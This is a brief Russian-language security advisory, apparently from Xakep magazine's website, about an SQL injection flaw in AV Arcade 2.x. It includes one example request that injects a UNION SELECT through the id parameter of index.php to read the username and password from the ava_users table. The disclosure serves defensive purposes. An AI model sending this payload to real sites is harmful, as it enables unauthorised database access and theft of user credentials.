SQL-инъекция в AV Arcade

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: AV Arcade 2.x

Уязвимость позволяет удаленному
пользователю выполнить произвольные SQL
команды в базе данных приложения.

Пример:

/index.php?task=view_page&id= -1%20UNION%20SELECT%201,username,
password%20FROM%20ava_users%20WHERE%20id=1